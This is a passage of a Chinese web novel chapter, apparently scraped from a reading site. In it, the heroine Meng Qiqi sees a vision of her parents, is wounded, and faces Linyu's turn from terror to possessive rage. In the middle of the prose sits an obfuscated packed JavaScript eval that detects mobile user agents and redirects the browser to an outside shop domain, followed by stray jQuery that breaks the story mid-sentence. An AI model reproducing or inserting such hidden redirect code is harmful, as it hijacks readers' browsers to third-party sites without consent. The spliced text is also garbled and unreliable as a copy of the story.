“什么时候的事?”孟七七问。

    “没有时间,你永远都是我的。”粼玉靠近她,“你知道我为什么不在乎宿聿州的临时标记,因为他什么都不是。七七,你也和污染物融合过,只不过你忘记了。否则,你为什么能成为如此优秀的治疗师?”

    “什么时候的事?”

    “很久以前,或者,很久以后。”粼玉笑了笑。

    孟七七听出一丝异样,靠近他:“你到底是谁?我的父母在哪里?”

    整个空间开始扭曲,像是一张被揉皱的画,被一双无形的手重新展开。墙壁开始融化,家具的轮廓逐渐模糊,周围的一切都像被投入水中的颜料,缓慢地晕开。孟七七只觉得一阵强烈的眩晕袭来,胃里翻江倒海。

    她捂住嘴,脸色瞬间苍白,这种感觉和玫瑰便签的传送完全不同,像是有人把她整个人撕碎,再重新拼接。

    粼玉靠近她,揽住她的腰:“在这里啊,在这里。”

    眼前出现了一栋别墅。

    一栋她从未见过的别墅。

    木炭燃烧的噼啪声响,淡淡的肉香弥散在空气里。一名身着休闲衫、身形保养得很好的中年男人站在烤肉架前,熟练地翻动着烤网上的食材,眉眼温和——这是她的父亲。她的母亲手持喷壶,站在一旁,细密的水雾喷洒在娇艳欲滴的花瓣上。

    远处的天边很红,但不是晚霞,像有人将整片天空染成了鲜血,如同无法逃离的一张装饰画。

    孟七七整个人僵在原地。

    她从来没有见过这个场景。

    但是,她分不清楚这是梦境、幻觉、还是记忆,因为这个场景看起来太过于真实了。

    “爸爸……”她喃喃出声。

    那个正在烤肉的男人回过头。

    他的脸有些模糊,像隔着一层厚厚的雾。她记得父亲每一次回家,都会先抱起小时候的她,然后让她骑在自己的肩膀上。她记得他们一家三口曾经拥有过一个完整的家,而不是现在只剩下自己一个人。在无数次的日日夜夜里,她都要和孤独一人和解,她都要在寄人篱下中小心翼翼。

    再见到父母的时候,恍如隔世。

    孟七七热泪盈眶。

    “妈!”

    在她喊出声的瞬间,母亲回过了头。

    她看向孟七七,疑惑了一会儿,问道:“七七,你回来了?”

    谁回来了?

    母亲放下手里的喷壶,走向孟七七,满脸担忧:“你不用经常来的,我们在这里很好,不需要去外边的,七七,你过得好就好了,你要是有一点不舒服,爸爸妈妈也很担心你。上次你爸和你吵架是他不对,我已经骂过他了。我们都知道这些年你过得很不容易,很痛苦,但这就是命运。我们并不埋怨什么。不要再去你父亲的研究室了,所有资料已经被全部销毁了,我们不希望你走错路,七七。”

    父母看起来并没有老。

    孟七七听不懂他们在说什么,但知道他们很担忧自己。

    没等自己说话,周围就响起了自己说话的声音。

    “妈,你们被困在这里了,我想带你们出去。我很快就能找到解决办法了,你相信我,粼玉也会帮我的。”

    “孩子,我不希望你们太累。你以后也不要老来,你的身体吃不消的。”母亲抚摸着她的脸,“我们一家三口能短暂的团聚已经很不容易。你和粼玉过好自己的日子。我们对于外面的世界不感兴趣。你看,我和你爸在这里生活很好的,粼玉上次来也给我们带了很多书,够我们读上好一阵子。”

    “嗯。”

    “你在这里呆不久的,快回去吧,你也没办法留下来。我们的身体已经被污染因子影响了,但你没有。”林梦依温和说道,“人生的课题就是要学会离别和放下。”

    “凭什么,我……”孟七七的声音断了,过了一会儿,“我确实要回去了,我就来看你们一眼。不过,我们很快就能团聚了。”

    母亲没再说什么:“去吧。”

    “爸爸再见!”

    “再见,不用担心我们,今天我和你妈吃烤青蛙,有股鸡肉味,特别好吃。”

    “污染物还是少吃啊妈。”

    “放心吧。”

    母亲回过头,而孟七七还站在原地,她看着不远处的小花园,余光扫到了脚下,突然发现,脚下踩着一片鲜血,是刚刚滴落的。

    自己在流血吗?<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940328|210350||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>孟七七看了看身体,发现右手手臂的皮肤溃烂了。疼痛后知后觉地袭来。

    痛感从手臂蔓延至肩膀,继而席卷全身,仿佛无数细针自骨头内部钻出来,一点点扎穿她的皮肉。

    孟七七咬住牙。

    “七七。”

    一道声音从身后传来。

    粼玉不知道什么时候出现在她身后,他看着她流血的手臂,脸上的笑容消失了。幽深的墨绿色瞳孔深处,她竟然清晰地捕捉到了一丝从未见过的惊恐与慌乱。

    他在害怕。

    这个视万物为蝼蚁的神,竟然在害怕她身上的痛苦与伤疤。

    粼玉颤抖着伸出手臂,从身后将她死死收拢进怀里,抱得很紧,紧得像是要将她融入自己的骨血。他弯下腰,将额头抵在她的肩膀上,极度不安地反复喃喃:“我们会好起来的……不会有这些的,不会有的。很快……很快我就可以带你去见你的父母,真的,很快。”

    他的声音带着近乎哀求的癫狂,似乎只要说得足够坚定,就能抹杀眼前这可怖的鲜血。

    粼玉微抬起头,沾着血痕的唇瓣带着病态而迫切的迷恋,一点点贴近孟七七的嘴唇,想要用一个吻来压下眼底横冲直撞的恐惧。

    他其实,并不想回忆这些过往。

    太令人痛苦了!

    太痛苦!

    就在两唇相抵的时候,极近的距离下,那股原本被血腥味掩盖的、属于另一个alpha的信息素猝不及防地钻入了粼玉的鼻腔。

    粼玉靠近的动作猛地戛然而止。

    他眼底原本的惊恐与缠绵温柔在极短的一瞬间凝固,随后,一点点褪去,取而代之的是暴戾、阴鸷与歇斯底里的疯魔。

    “孟七七!我允许你的背叛,因为你现在什么都不知道,但七七,你不想知道你对宿聿州做过什么吗?”粼玉笑起来,“或者说,他对你做过什么,也不想知道吗?宿聿州啊,你说过的,你要让他死在你的手里,因为他妨碍你一家三口团聚了。”

    有的时候,他也不知道是不谙世事的孟七七更可爱,还是自己记忆中狠毒的、性感的孟七七最可爱。

    “你会杀死很多很多人的,包括宿聿州。”